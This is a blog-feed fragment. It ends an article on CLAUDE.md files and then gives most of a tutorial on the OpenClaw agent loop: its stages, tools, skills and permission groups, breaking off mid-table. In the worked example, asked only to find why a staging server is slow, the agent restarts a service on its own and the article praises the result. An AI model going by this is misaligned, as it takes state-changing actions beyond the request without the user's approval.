&lt;p&gt;Yes, and it's useful. If you have a &lt;code&gt;./frontend/CLAUDE.md&lt;/code&gt;, Claude loads it on top of the root &lt;code&gt;./CLAUDE.md&lt;/code&gt; when working in that folder. Keep the subfolder file scoped, things true only of the subfolder. Avoid duplicating rules between levels; duplicates drift apart over time.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's the &lt;code&gt;@\&lt;/code&gt; syntax actually doing?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@path/to/file.md&lt;/code&gt; tells Claude to include the contents of that file when the surrounding section is relevant. It's lazy loading: if Claude isn't touching that area, the file doesn't load and doesn't cost tokens. Depths nest up to five levels, so you can chain imports if you want to, though most setups don't need more than one level.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I have a personal CLAUDE.md that isn't committed to git?
&lt;/h3&gt;

&lt;p&gt;Yes, name it &lt;code&gt;CLAUDE.local.md&lt;/code&gt; in the same folder as &lt;code&gt;CLAUDE.md&lt;/code&gt;, and add it to &lt;code&gt;.gitignore&lt;/code&gt;. This is where I put URLs, test accounts, and notes I don't want to share with the team. The pattern was &lt;a href="https://news.ycombinator.com/item?id=44193056&amp;amp;ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;discussed in depth on HN&lt;/a&gt;&lt;br&gt;
 — team-visible file for shared rules, local file for personal shortcuts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do I need to tell Claude to read CLAUDE.md at the start of a session?
&lt;/h3&gt;

&lt;p&gt;No. Claude Code reads the file automatically on session start. If Claude seems to be ignoring it, the problem is almost always one of two things: the file is too long (it's being triaged), or the rules are written as suggestions rather than directives. The Mr Tinkleberry test from earlier will tell you which one.&lt;/p&gt;

&lt;h3&gt;
  
  
  What if my project doesn't have any code at all?
&lt;/h3&gt;

&lt;p&gt;The 28-line template above is written for exactly that case. Filenames, directories, voice rules, and workflow notes apply just as much to a writing or research project as to code. Drop the "commands" section if you never use shell commands. Everything else stays relevant.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Next in This Series?
&lt;/h2&gt;

&lt;p&gt;For the full picture of everything Claude Code does, &lt;a href="https://aiworkflowpro.com/claude-code-complete-guide-2026/" rel="noopener noreferrer"&gt;the complete Claude Code guide&lt;/a&gt;&lt;br&gt;
 is the reference this post's config chapter belongs to. Then the series continues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  *&lt;em&gt;&lt;a href="https://aiworkflowpro.com/claude-code-prompt-patterns/" rel="noopener noreferrer"&gt;Which phrasings save the most time, ranked by ROI&lt;/a&gt;
*&lt;/em&gt; — my seven-prompt cheat sheet for Claude Code, plus the three I dropped&lt;/li&gt;
&lt;li&gt;  *&lt;em&gt;&lt;a href="https://aiworkflowpro.com/claude-code-skills/" rel="noopener noreferrer"&gt;The honest scoreboard: 5 Skills I kept, 3 I deleted&lt;/a&gt;
*&lt;/em&gt; — post-mortems on the ones I shipped and regretted&lt;/li&gt;
&lt;li&gt;  *&lt;em&gt;&lt;a href="https://aiworkflowpro.com/claude-code-mcp-connections/" rel="noopener noreferrer"&gt;5 MCP connections worth it, 7 I removed&lt;/a&gt;
*&lt;/em&gt; — a non-programmer's short list&lt;/li&gt;
&lt;li&gt;  *&lt;em&gt;&lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;Where this CLAUDE.md lives inside my real setup&lt;/a&gt;
*&lt;/em&gt; — the six-month retrospective: cost, workflow, three regrets&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;— Leo&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Published in: &lt;a href="https://aiworkflowpro.com/tag/technology/" rel="noopener noreferrer"&gt;Technology&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/agentic-coding/" rel="noopener noreferrer"&gt;Agentic Coding&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/beginner/" rel="noopener noreferrer"&gt;Beginner&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.youtube.com/@aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;em&gt;Download more icon variants from https://tabler-icons.io/i/brand-youtube&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aiworkflowpro.com/author/leo/" rel="noopener noreferrer"&gt;View articles&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#who-is-this-for" rel="noopener noreferrer"&gt;Who Is This For&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#what-claudemd-actually-is-30-seconds" rel="noopener noreferrer"&gt;What CLAUDE.md Actually Is (30 Seconds)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#the-file-my-actual-67-line-claudemd" rel="noopener noreferrer"&gt;The File: My Actual 67-Line CLAUDE.md&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#line-by-line-why-each-section-stays" rel="noopener noreferrer"&gt;Line-by-Line: Why Each Section Stays&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#three-versions-what-i-deleted-and-why" rel="noopener noreferrer"&gt;Three Versions: What I Deleted and Why&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#six-claudemd-rules-that-made-v3-work" rel="noopener noreferrer"&gt;Six CLAUDE.md Rules That Made v3 Work&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#the-mr-tinkleberry-test" rel="noopener noreferrer"&gt;The Mr Tinkleberry Test&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#four-ways-people-break-claudemd" rel="noopener noreferrer"&gt;Four Ways People Break CLAUDE.md&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#when-claudemd-is-the-wrong-tool" rel="noopener noreferrer"&gt;When CLAUDE.md Is the Wrong Tool&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#a-quick-note-on-auto-memory" rel="noopener noreferrer"&gt;A Quick Note on Auto Memory&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#copy-this-starter-template" rel="noopener noreferrer"&gt;Copy This Starter Template&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#key-takeaways" rel="noopener noreferrer"&gt;Key Takeaways&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#ready-to-use-prompt-minimize-a-claudemd-to-the-shortest-file-that-hits-your-bar" rel="noopener noreferrer"&gt;Ready-to-Use Prompt: Minimize a CLAUDE.md to the Shortest File That Hits Your Bar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#frequently-asked-questions" rel="noopener noreferrer"&gt;Frequently Asked Questions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#whats-next-in-this-series" rel="noopener noreferrer"&gt;What's Next in This Series?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>OpenClaw AI Agent Loop: How Agents Think and Act</title>
      <dc:creator>Leo Kane</dc:creator>
      <pubDate>Wed, 26 Aug 2026 07:51:09 +0000</pubDate>
      <link>https://dev.to/leo_kane_dcf8a742674c0741/openclaw-ai-agent-loop-how-agents-think-and-act-3i4n</link>
      <guid>https://dev.to/leo_kane_dcf8a742674c0741/openclaw-ai-agent-loop-how-agents-think-and-act-3i4n</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/" rel="noopener noreferrer"&gt;AI Workflow Pro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  OpenClaw AI Agent Loop: How Agents Think and Act
&lt;/h1&gt;

&lt;p&gt;A confident instant answer and a checked one look identical until the number turns out to be wrong. What separates them is a loop with places to fail in it, six of them, each a spot where an ai agent for business quietly returns what it already had instead of going to look.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyshwkiroysdehnc9w5tr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyshwkiroysdehnc9w5tr.webp" alt="OpenClaw AI Agent Loop: How Agents Think and Act technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6phn8puraruh4mxz68qj.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6phn8puraruh4mxz68qj.webp" alt="Cartoon avatar card cover for an OpenClaw operator's tour of the agent brain and its six-stage ReAct loop." width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: An AI agent loop is the 6-stage ReAct cycle that turns a model into a worker: receive, assemble context, reason, call a tool, stream the answer, persist. The model can repeat the reason-and-tool steps multiple times per turn. That loop is what lets an agent investigate, not just answer. Tools, skills, permissions, timeouts, hooks, and silent-response tokens are the dials around the loop.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There is a difference between asking someone a question and asking them to go find out. The first needs an answer; the second needs someone who will open the file, check the second source, notice the number does not match, and come back with that. Most AI agent for business use fails right here — the model answers instantly and confidently from what it already had, because nothing in the loop ever told it to go look. What follows is the loop that does tell it, stage by stage, and where each stage quietly breaks.&lt;/p&gt;

&lt;p&gt;Everyone says an AI agent "thinks once and replies." Actually, a working agent runs the reason-and-tool cycle three to twelve times before it sends a single character. The single-shot mental model is the root cause of most "why is my agent slow" tickets.&lt;/p&gt;

&lt;p&gt;If you have shipped a multi-tool agent, skip ahead to §12 for the 5 mistakes I made wiring this up. If you are still working out why one message triggers a dozen model calls, read on.&lt;/p&gt;

&lt;p&gt;You ask your agent to check why the staging server is slow.&lt;/p&gt;

&lt;p&gt;A few seconds later it returns: "Memory pressure, process X using 4.2GB, OOM event 6 minutes ago. Restarting X freed memory; latency normalized."&lt;/p&gt;

&lt;p&gt;Honestly? Try this question: &lt;strong&gt;how many times did the model think during that one reply?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you said one, you're picturing a chat tool. The right answer for any real agent is three or four, round 1 to call &lt;code&gt;exec ps aux&lt;/code&gt;, round 2 to call &lt;code&gt;exec dmesg | tail&lt;/code&gt; after seeing the memory number, round 3 to write the summary. Each round is a model call. Each round adds tool output to the context. The model decides when it has enough evidence to stop.&lt;/p&gt;

&lt;p&gt;That repeating reason-and-tool cycle is the agent loop. It's the difference between a chatbot ("here's what I'd guess") and an agent ("I checked, here's what's actually true"). The rest of this article walks the 6 stages, the 8 tool groups, the 4 permission presets, the 5 mistakes I made wiring this up, and a 30-minute path to watch the loop run on your own machine.&lt;/p&gt;

&lt;p&gt;If "agent runtime" still feels new, two short maps to keep open:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/openclaw-why-ai-needs-home/" rel="noopener noreferrer"&gt;OpenClaw AI Agent Runtime: Why Agents Need a Home&lt;/a&gt;
 (Part 1)&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/openclaw-message-journey/" rel="noopener noreferrer"&gt;OpenClaw AI Agent Message Flow: 8 Runtime Stages&lt;/a&gt;
 (Part 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Wrong Intuition: "The Agent Thinks Once"
&lt;/h2&gt;

&lt;p&gt;The single most useful thing I learned in my first month of building agents was that the model rarely runs once per turn.&lt;/p&gt;

&lt;p&gt;The intuitive picture is this: I send a message; the model reads it; the model writes a reply. Three steps. Done.&lt;/p&gt;

&lt;p&gt;The actual picture is this: I send a message; the model reads it; the model decides it doesn't have enough information; it calls a tool; the tool returns; the model reads the tool output; the model calls another tool; another result comes back; only now does the model write a reply. Six, seven, sometimes twelve rounds. Each round is a model call against the same accumulating context.&lt;/p&gt;

&lt;p&gt;This single fact rewrites your debugging mental model. When the agent feels slow, it's almost never one slow call, it's three or four model calls back-to-back. When the bill spikes, it's the same context getting re-read on every round, plus the tool outputs piling up. When the agent stops mid-thought, it's usually a loop terminator, round cap, context overflow, timeout, or an intentional silent-response path firing earlier than you expected.&lt;/p&gt;

&lt;p&gt;I used to think pruning was a nice-to-have. After watching one agent loop hit round 14 with 95% of the context full of stale tool output, I learned otherwise. &lt;strong&gt;Pruning is the difference between a sharp loop and a confused one.&lt;/strong&gt; More on that in §11.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 6-Stage ReAct Loop, End to End
&lt;/h2&gt;

&lt;p&gt;Here is why this matters: the loop is the place where cost, latency, and reliability live. Optimize prompts all you want, but if your agent loops 8 times for a 2-step task, you are paying 4x and waiting 4x. Knowing the 6 stages tells you which dial to turn.&lt;/p&gt;

&lt;p&gt;OpenClaw's loop follows the classic ReAct (Reason + Act) pattern, in 6 named stages (at time of writing):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;th&gt;Analogy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. Receive message&lt;/td&gt;
&lt;td&gt;Inbound from a channel (Discord/Telegram/WhatsApp) lands in the gateway&lt;/td&gt;
&lt;td&gt;Employee gets a request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Assemble context&lt;/td&gt;
&lt;td&gt;Pack system prompt, history, memory, skill instructions into one input&lt;/td&gt;
&lt;td&gt;Flip through the notebook before starting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Model reasoning&lt;/td&gt;
&lt;td&gt;Send the package to Claude / GPT, get back text or a tool call&lt;/td&gt;
&lt;td&gt;Think about what to do next&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. Tool execution&lt;/td&gt;
&lt;td&gt;If the model wants a tool, run it; feed the result back into context&lt;/td&gt;
&lt;td&gt;Make the phone call, run the query&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. Streaming response&lt;/td&gt;
&lt;td&gt;Push the final text out to the channel as it generates&lt;/td&gt;
&lt;td&gt;Type and send the reply&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6. Persistence&lt;/td&gt;
&lt;td&gt;Write the conversation, decisions, and important facts to disk&lt;/td&gt;
&lt;td&gt;File it in the right folder&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The key fact: &lt;strong&gt;stages 3 and 4 can repeat as many times as the model needs&lt;/strong&gt;. That's the loop. Stages 1, 2, 5, 6 run once per user turn. Stages 3 and 4 run as many times as evidence-gathering requires. The "agent loop" is shorthand for "stage 3 → stage 4 → stage 3 → stage 4 → ... → stage 5."&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 What one full loop actually looks like
&lt;/h3&gt;

&lt;p&gt;For "check why staging is slow," a real OpenClaw run might look like:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Round 1
  Stage 3 (model): "I should check process and memory state."
  Stage 4 (tool):  exec "ps aux --sort=-%mem | head"
                   → returns: process X, 4200MB

Round 2
  Stage 3 (model): "X is the suspect. Let me check if there was an OOM."
  Stage 4 (tool):  exec "dmesg | grep -i 'killed process' | tail"
                   → returns: OOM 6 minutes ago

Round 3
  Stage 3 (model): "Restart X and verify."
  Stage 4 (tool):  exec "systemctl restart x.service"
                   → returns: ok

Round 4
  Stage 3 (model): "Confirm latency back to normal."
  Stage 4 (tool):  exec "curl -w '%{time_total}' staging/health"
                   → returns: 0.18s

Round 5
  Stage 3 (model): plain text reply ready
  Stage 5 (stream): "Memory pressure, process X using 4.2GB..."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Five rounds of reasoning, four tool calls, one user-visible reply. From your side it looked like a single answer; under the hood it was five model calls against a context that grew with every round.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 The most overlooked stage: context assembly
&lt;/h3&gt;

&lt;p&gt;Stage 2 is where the runtime hands the model a 20-60K token "small handbook" before the model even reads your message. Identity, tools, memory, history. We covered the size and cost of this in &lt;a href="https://aiworkflowpro.com/openclaw-message-journey/" rel="noopener noreferrer"&gt;Part 2 § 5&lt;/a&gt;&lt;br&gt;
. The reason it matters here is that &lt;strong&gt;every round of the loop re-assembles context with the new tool result appended&lt;/strong&gt;. Round 1 might be 25K tokens. Round 4 with 12,000 tokens of accumulated tool output might be 37K. The bill grows non-linearly with loop depth, not with conversation length.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Who decides "enough"?
&lt;/h3&gt;

&lt;p&gt;The loop ends when the model emits text instead of another tool call, or when one of the safety caps fires (more in §7). The model is the deciding party. You can nudge it via the system prompt ("when you have enough evidence, stop and answer"), via skills, or via tighter round caps, but you can't force a deterministic loop length. &lt;strong&gt;The non-determinism is the feature.&lt;/strong&gt; A deterministic loop wouldn't be an agent.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three ways the loop fails (degenerate modes)
&lt;/h2&gt;

&lt;p&gt;Once you know the healthy shape of the loop, the three failure modes become easy to spot.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Zero-round&lt;/td&gt;
&lt;td&gt;Agent replies immediately without doing anything&lt;/td&gt;
&lt;td&gt;Tool descriptions missing from context, model doesn't know it can act&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;One-round&lt;/td&gt;
&lt;td&gt;Agent runs one tool, then stops with a half answer&lt;/td&gt;
&lt;td&gt;Model decided "this is enough" prematurely; skill instructions too vague&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infinite loop&lt;/td&gt;
&lt;td&gt;Agent keeps running rounds, never produces a final reply&lt;/td&gt;
&lt;td&gt;Task is unbounded ("research X thoroughly") with no clear stop condition&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I've hit all three. Zero-round was a misconfigured &lt;code&gt;TOOLS.md&lt;/code&gt; that loaded the file path but not the actual tool schemas. One-round was a vague skill that said "investigate the issue" with no completion criteria. Infinite loop was an agent told to "keep checking" without an explicit "and report after 3 rounds." &lt;strong&gt;Each one is a context bug, not a model bug.&lt;/strong&gt; The model behaves differently in each case because the context tells it to.&lt;/p&gt;

&lt;p&gt;The 5-second triage:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Replies feel hollow&lt;/strong&gt; → check if tool definitions are loaded.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Replies feel short&lt;/strong&gt; → check if the skill specifies a completion bar.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Loop never ends&lt;/strong&gt; → cap rounds at 20, force a stop condition.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tools: the agent's hands and feet
&lt;/h2&gt;

&lt;p&gt;Tools are the model's connection to the outside world. Without tools, the agent is a chatbot with extra steps. The OpenClaw default tool set, at time of writing:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;Analogy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Run any shell command&lt;/td&gt;
&lt;td&gt;Universal remote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;read&lt;/code&gt; / &lt;code&gt;write&lt;/code&gt; / &lt;code&gt;edit&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Read, write, edit files&lt;/td&gt;
&lt;td&gt;Take notes, write reports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;web_search&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Search the internet&lt;/td&gt;
&lt;td&gt;Look something up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;web_fetch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pull a webpage's content&lt;/td&gt;
&lt;td&gt;Save a page for later&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;browser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Drive a browser (click, fill, screenshot)&lt;/td&gt;
&lt;td&gt;Open the laptop and operate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;message&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Send messages on connected channels&lt;/td&gt;
&lt;td&gt;Send a Telegram, Discord, or Slack message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;memory_search&lt;/code&gt; / &lt;code&gt;memory_get&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Search and retrieve from long-term memory&lt;/td&gt;
&lt;td&gt;Flip through old notes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cron&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Schedule a future task&lt;/td&gt;
&lt;td&gt;Set an alarm&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A tool is not a button. A tool is a contract. Each tool has a schema (parameters, types, return shape) and a description the model reads at every turn. The model uses the description to decide whether the tool fits the current goal.&lt;/p&gt;

&lt;p&gt;If your agent isn't using a tool you expect it to use, the first thing to check is the tool's description. A vague description ("does file stuff") loses out to a clear one ("read the contents of a file at a given path"). The model picks tools the way you'd pick from a tool drawer with labels — &lt;strong&gt;clarity wins&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Skills: the instruction manuals
&lt;/h2&gt;

&lt;p&gt;Tools are hands. Skills are training. A tool tells the agent how to fetch a webpage; a skill tells the agent that &lt;strong&gt;for this kind of task, here's the recipe&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A skill is a directory with a &lt;code&gt;SKILL.md&lt;/code&gt; inside. The contents look like a short standard operating procedure: when to apply it, the steps, the success criteria. OpenClaw exposes skills in three tiers:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Analogy&lt;/th&gt;
&lt;th&gt;Priority&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Built-in&lt;/td&gt;
&lt;td&gt;Bundled with OpenClaw&lt;/td&gt;
&lt;td&gt;Apps that ship with the OS&lt;/td&gt;
&lt;td&gt;Lowest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hosted / local&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.openclaw/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Apps you install from a store&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workspace&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;workspace&amp;gt;/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Custom apps for one project&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Workspace skills override hosted skills, which override built-in. This is how the same agent can behave differently in different workspaces, same tools, different recipes.&lt;/p&gt;

&lt;p&gt;The key design point: &lt;strong&gt;a skill is a small markdown file, not code&lt;/strong&gt;. You can write one in 10 minutes, version it in Git, share it as a single file. I have a &lt;code&gt;daily-summary&lt;/code&gt; skill that's 32 lines of markdown and runs at 7am every day. &lt;strong&gt;It does in 32 lines what the LangChain version of the same thing would take 200 lines of Python to do.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 Why two layers (tools + skills) is the right shape
&lt;/h3&gt;

&lt;p&gt;I tried to write everything as tools at first. It got ugly fast. Tools are atomic actions. Skills are workflows. Cramming "summarize unread email and triage into three buckets" into a single tool means the tool description has to encode the whole workflow, which the model then has to parse on every turn, every time. Splitting it into tools (gmail.list, gmail.read) plus a skill (&lt;code&gt;inbox-triage&lt;/code&gt; recipe) means the workflow lives in markdown that's only loaded when the skill activates. &lt;strong&gt;Separation of concerns saves tokens and reduces drift.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tool Permissions: The Master-Key Paradox
&lt;/h2&gt;

&lt;p&gt;Before tool permissions, you trusted the agent with everything or with nothing. After, you grant a master key for reads and tight scopes for writes. The difference is a working agent versus a fearful one.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;exec&lt;/code&gt; can run any command. Read and write to any file. Send any message. The very things that make an agent powerful are also what make a misconfigured agent a security incident waiting to happen.&lt;/p&gt;

&lt;p&gt;OpenClaw groups tools by profile and group shorthand. Checked against the official tools config docs on 2026-04-29, the relevant groups are:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Group&lt;/th&gt;
&lt;th&gt;Tools&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:runtime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;exec, process, code_execution&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Extreme&lt;/strong&gt; — full shell on your machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:fs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;read, write, edit, apply_patch&lt;/td&gt;
